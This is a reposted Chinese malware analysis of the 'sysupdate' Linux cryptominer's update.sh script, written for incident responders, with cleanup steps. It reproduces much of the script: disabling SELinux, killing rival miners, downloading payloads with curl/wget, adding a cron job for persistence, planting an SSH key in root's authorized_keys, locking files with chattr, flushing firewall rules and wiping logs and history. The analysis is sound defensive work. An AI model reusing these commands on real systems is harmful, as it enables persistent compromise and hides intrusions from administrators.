Linux系統sysupdate挖礦病毒之update.sh腳本分析


這是第二次遇到該挖礦病毒,網上也有很多大佬對該病毒做過分析,也想過再寫可能沒有什么意義,最終還是想寫一寫屬於自己的東西,也算是兩次相遇的總結。

背景

這次廢話不多說,直接上,背景感覺毫無意義。

分析

現象確認

首先確認現象,通過查看系統進程發現存在CPU占用過高的現象,如下圖:

1601614426_5f76b25a7e98d2c6c5713.png!small

查看進程信息:

1601614436_5f76b264d76154e5ac23e.png!small

進程關聯查看,發現該病毒啟動時間是在2020.09.18 10:00:01。

1601614442_5f76b26a15fcd177d863f.png!small

update.sh腳本分析

通過對程序進行分析,發現該病毒程序同路徑下存在update.sh文件(/etc/update.sh),通過對該文件進行分析,發現該文件為挖礦病毒執行的腳本文件,因此對該腳本文件進行分析。

1601614450_5f76b272dc9c4f27b83b0.png!small

定義系統變量

關閉selinux防火牆,隱藏輸出的錯誤信息,如果有錯誤信息就輸出到空設備2>/dev/null空設備:

setenforce 0 2>dev/null

關閉selinux:

echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

把內容同步寫入磁盤

sync && echo 3 >/proc/sys/vm/drop_caches

設置變量:

crondir='/var/spool/cron/'"$USER"

cont=`cat ${crondir}`

查看ssh公鑰信息

ssht=`cat /root/.ssh/authorized_keys`   #ssht = cat /root/.ssh/authorized_keys

關閉相關病毒程序

使用ps auxf查看所有進程,並針對kinsiing進行查找,awk是tab分割,print $2是取出第二個單詞,ps auxf查看進程中第二單詞為PID(這里關閉的進程較多,只列舉其中一些):

ps auxf|grep kinsing| awk '{print $2}'|xargs kill -9

ps auxf|grep kdevtmpfsi| awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9

netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %

seliunx探測,檢查是否關閉

if [ -f "/usr/bin/curl" ]

then

echo $1,$2

http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`

if [ "$http_code" -eq "200" ]

then

curl --connect-timeout 10 --retry 100 $1 > $2

elif [ "$http_code" -eq "405" ]

then

curl --connect-timeout 10 --retry 100 $1 > $2

else

curl --connect-timeout 10 --retry 100 $3 > $2

fi

elif [ -f "/usr/bin/cur" ]

then

http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`

if [ "$http_code" -eq "200" ]

then

cur --connect-timeout 10 --retry 100 $1 > $2

elif [ "$http_code" -eq "405" ]

then

cur --connect-timeout 10 --retry 100 $1 > $2

else

cur --connect-timeout 10 --retry 100 $3 > $2

fi

elif [ -f "/usr/bin/wget" ]

then

wget --timeout=10 --tries=100 -O $2 $1

if [ $? -ne 0 ]

then

wget --timeout=10 --tries=100 -O $2 $3

fi

elif [ -f "/usr/bin/wge" ]

then

wge --timeout=10 --tries=100 -O $2 $1

if [ $? -eq 0 ]

then

wge --timeout=10 --tries=100 -O $2 $3

fi

fi

判斷是否運行相同程序的挖礦病毒,如果有則刪除

ps axf -o "pid"|while read procid    #輸出所有pid信息

do

ls -l /proc/$procid/exe | grep /tmp

if [ $? -ne 1 ]

then

cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"

if [ $? -ne 0 ]

then

kill -9 $procid

else

echo "don't kill"

fi

fi

done

ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid   #查找所有PID中cpu大於40的

do

cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"

if [ $? -ne 0 ]    #$?取上一個執行命令的狀態,成功返回0,錯誤返回其他字符 -ne

then

kill -9 $procid

else

echo "don't kill"

fi

done

解鎖操作

chattr -R -i /var/spool/cron #-R遞歸處理,解鎖/var/spool/cron目錄下的所有文件及子目錄

chattr -i /etc/crontab

對文件進行加鎖

chattr -R +i /var/spool/cron

chattr +i /etc/crontab

挖礦病毒相關執行

解鎖文件

echo "i am root"

echo "goto 1" >> /etc/sysupdates

chattr -i /etc/sysupdate*

chattr -i /etc/config.json*

chattr -i /etc/update.sh*

chattr -i /root/.ssh/authorized_keys*

chattr -i /etc/networkservice

啟動項配置:

then

unlock_cron  #調用解鎖

echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}

lock_cron  #加鎖

else

unlock_cron

[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -

lock_cron

配置SSH,用於登錄

chmod 700 /root/.ssh/

echo >> /root/.ssh/authorized_keys

chmod 600 root/.ssh/authorized_keys

echo "ssh-rsa xxx root@u17" >> /root/.ssh/authorized_keys  #寫入公鑰文件

依次對/etc/config.json|sysupdate|sysguard的文件大小,並對對應文件進行下載:

filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`

if [ "$filesize_config" -ne "$config_size" ]

then

pkill -f sysupdate

rm /etc/config.json

downloads $config_url /etc/config.json $config_url_backup

else

echo "no need download"

下載update.sh

downloads $sh_url /etc/update.sh $sh_url_backup

對/etc/networkservice文件大小進行比較,並下載對應文件:

if [ -f "/etc/networkservice" ]  #對/etc/networkservice文件大小進行比較

then

filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`

if [ "$filesize2" -ne "$scan_size" ]

then

pkill -f networkservice

rm /etc/networkservice

downloads  $scan_url /etc/networkservice $scan_url_backup

else

echo "not need download"

fi

else

downloads $scan_url /etc/networkservice $scan_url_backup

對sysupdate|networkservice|sysguard分別進行提權,並對執行的程序進行判定,是否為root執行,並再次執行,如下:

提權

chmod 777 /etc/sysupdate

判斷是否為root,並運行程序

if [ $? -ne 0 ]

then

cd /etc

echo "not root runing"

sleep 5s

./sysupdate &

else

echo "root runing....."

fi

再對/etc/下的病毒文件進行加鎖,並對/tmp/路徑下的病毒文件進行解鎖,如下:、

chmod 777 /etc/sysupdate

chattr +i /etc/sysupdate

chmod 777 /etc/networkservice

chattr +i /etc/networkservice

chmod 777 /etc/config.json

chattr +i /etc/config.json

chmod 777 /etc/update.sh

chattr +i /etc/update.sh

chmod 777 /root/.ssh/authorized_keys

chattr +i /root/.ssh/authorized_keys

else

echo "goto 1" > /tmp/sysupdates

chattr -i /tmp/sysupdate*

chattr -i /tmp/networkservice

chattr -i /tmp/config.json*

chattr -i /tmp/update.sh*

相關解鎖動作完成后會在tmp路徑再次進行etc路徑下的操作,操作完成后,會在此對tmp路徑下的病毒文件進行加鎖操作,這里不在列舉,可參照上述信息。

痕跡擦除

完成上述操作后會刪除已有規則,並新建相關規則,清除歷史命令操作和清除相關日志信息,如下:

iptables -F  #清除預設表filter中的所有規則鏈的規則

iptables -X  #清除預設表filter中使用者自定鏈中的規則

iptables -A OUTPUT -p tcp --dport 3333 -j DROP  # -A:添加到規則末尾 -p:協議 --dport:目標端口 -j:匹配規則  DROP:丟棄

iptables -A OUTPUT -p tcp --dport 5555 -j DROP

iptables -A OUTPUT -p tcp --dport 7777 -j DROP

iptables -A OUTPUT -p tcp --dport 9999 -j DROP

iptables -I INPUT -s 43.245.222.57 -j DROP #-I:添加到指定位置 INPUT:進入 -s:源端IP地址

service iptables reload  #重啟iptables

ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9

history -c  #清理歷史命令

echo > /var/spool/mail/root

echo > /var/log/wtmp

echo > /var/log/secure

echo > /root/.bash_history

上述為update.sh腳本的相關操作,通過對腳本進行分析,可以發現該挖礦病毒主要依賴進程和啟動項信息,借此可以對該病毒進行清理。

處置

文件確認

/etc目錄文件發現sysupdate、sguard等文件1601614490_5f76b29acd8d7655d2391.png!small

/tmp路徑未發現文件

1601614502_5f76b2a699795bc7efd09.png!small

啟動項確認

通過對啟動項進行查看,未發現啟動項信息,如下:

1601614520_5f76b2b8c4c48ed28b9e4.png!small

病毒清理

通過上述分析,已明確相關信息,因此進行病毒清理。

關閉進程

通過查看進程信息,關閉所有與病毒相關進程:

1601614544_5f76b2d0eebfccb6030c3.png!small

刪除病毒文件

無法直接刪除文件:

1601614556_5f76b2dcdc86095473313.png!small

因此需要解鎖文件屬性:

1601614563_5f76b2e3d20ff8f1c9c2d.png!small

刪除文件,並查看是否存在異常文件,通過查看,發現異常文件已清理:

1601614570_5f76b2ea698e7446aea9f.png!small

系統恢復

通過刪除相關文件,完成對病毒清理,系統恢復:

1601614577_5f76b2f1610c98beb8038.png!small

命令匯總

命令

命令用途

ps -aux
top

查看系統進程信息

systemctl status [pid]

關聯信息查看

Ls -l /proc/pid/exe

進程信息查看

crontab -r

啟動項信息查看

Netsata -anpt

網絡連接信息查看

rm -rf

刪除

總結

該腳本分析的意義在於可以快速定位到相關文件進行處置,對應急不熟悉linux系統命令的小伙伴在對病毒清理時,不知道那些是病毒文件,那些正常文件,對此無從下手。上述我將應急過程中最實用的命令列舉如上。由於在日常生活中,使用桌面操作較多,因此對命令行使用不熟悉,找不到相關文件,因此對linux系統挖礦病毒清理較為恐懼,希望通過對腳本分析這種方式對剛入門的小伙伴有所幫助。

轉 FreeBuf


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM